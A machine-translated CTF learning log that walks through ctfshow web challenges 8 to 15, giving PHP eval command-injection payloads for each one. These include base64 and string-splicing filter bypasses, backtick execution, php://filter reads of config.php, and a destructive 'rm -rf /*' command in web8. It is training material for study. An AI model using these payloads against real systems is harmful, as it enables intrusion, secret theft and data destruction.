当前位置:网站首页>Ctfshow Web Learning Records
Ctfshow Web Learning Records
2022-06-22 09:37:00 【Xia ~ Chen】
Mengxin plan
web8:

It was only after some inquiry that the question was found to be a stumbling block , Programmers delete libraries and run away , So this question is just an order ,payload:
?flag=rm -rf /*
Get smoothly flag
web9:

This question is actually for us to use if Function query in condition config.php In the document flag Can
structure payload:
?c=hightlight_file("config.php");But it is worth noting that this statement must be followed by ;
After inquiry, the reason is eveal function

Interested friends can take a look at the following article
ctfshow The record of Mengxin's project | su29029 The blog of
Here is a Sao operation , Direct structure payload:
?c=echo $flag;This is because we know in advance flag stay config.php In file

web10:

It looks the same as the above question , But use the above payload It's not going to work when it's time , Because this place is really filtered , But the above operation can still be used :
payload:
?c=echo $flag; 
You can also try to use other functions or string splicing
- Here we use
passthru('cat config.php'); - You can also use variables to splice + Function dynamic execution
$a='sys';$b='tem';$c=$a.$b;$c('cat config.php');
web11:

Here we construct payload:( Notice that we use double quotation marks inside )
?c=$a=%27ca%27;$b=%27t%27;$c=$a.$b;passthru("$c%20config.php");as a result of :
stay php The processing of single quotation mark string and double quotation mark string in language is different . The contents of the double quote string can be interpreted and replaced , The contents of a single quotation mark string are always regarded as ordinary characters
And then you get flag You need to view the source code to see it

web12:

This question filters config, So we have to try other ways
We can try to use encoding to bypass , structure payload:
?c=$a=base64_decode('c3lzdGVt');$b=base64_decode('Y2F0IGNvbmZpZy5waHA=');$a($b); obtain flag:
Of course, the Sao operation can still be used
web13:

The operation above this question can still be used to kill , But we can still consider ways to bypass :
stay Linux in ,`` The function is to give priority to the implementation of the contents , Then pass the contents inside to the sentences outside , So we can construct payload:
?c=passthru("ca''t `ls`")?>
obtain flag:
web14:

This time it was found that more , But don't panic , Baidu wave , We can also construct :
Baidu payload【include Contains a binding pseudo protocol 】
include( The file contains a vulnerability ,php Fake protocol ) - 2hangG3 - Blog Garden
?c=include$_GET['a']?>&a=php://filter/read=convert.base64-encode/resource=config.php
Explain base64 that will do
perhaps
?c=echo `$_REQUEST[a]`?>&a=cat config.php
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=config.phpGet a bunch of base64 code , Then we decode it


Succeed in getting flag
web15:

This question filters file, But it doesn't affect our structure payload:
?c=include $_GET[a];&a=php://filter/read=convert.base64-encode/resource=config.phpobtain :

Decode to get flag:
These questions are all about the execution of orders , The difficulty goes up ( Of course, it is very simple for the previous operations ), I think what is worth studying here is the last include Include pseudo protocol , I think this operation is worth studying in depth .
边栏推荐
- Variable things
- Unicode characters / static non static access
- 一文走近ZMQ
- Philosopher‘s Walk Gym 分治+分形
- 使用ELK保存Syslog、Netflow日志和审计网络接口流量
- Stream stream creation_ Operation_ Collection_ case
- Up the Strip
- 架设多个web站点
- Hoo Research Institute of Hufu: how does cosmos connect the chain with the "port" of the chain?
- Double machine hot standby of firewall on ENSP
猜你喜欢

Shengdun technology joined dragon lizard community to build a new open source ecosystem

双指针仪表盘读数(二) ——表盘位置识别

Project optimization + online (Master?)

Introduction to code audit learning notes

秋招秘籍A

Fuzzy query and aggregate function

架设多个web站点

Mapping multiple exit servers on ENSP

Hoo Research Institute of Hufu: how does cosmos connect the chain with the "port" of the chain?

秋招秘籍B
随机推荐
Set up multiple web sites
PAT甲级 - 1007 Maximum Subsequence Sum
C language brush question | temperature conversion (11)
day367:有效的完全平方数
Brush questions in C language | judge whether a certain year is only a leap year (15)
在ensp上做多出口服务器映射
[hdu] P1466 计算直线的交点数
PAT甲级 - 1013 Battle Over Cities(删点判连通块数量)
Performance optimization topics
day500:键盘行
The time difference between IIS7 log and system time is 8 hours. Use logparser to solve the problem
Kali uses the command ifconfig to query the solution that the IP address is always 127.0.0.1
See how much volatile you know
==Classic interview questions
container_ of
[Luogu] P1083 [NOIP2012 提高组] 借教室(线段树)
The circular queue is implemented in super detail. I understand it in a few seconds
mknod
Comparison of interface abstract classes
Shengdun technology joined dragon lizard community to build a new open source ecosystem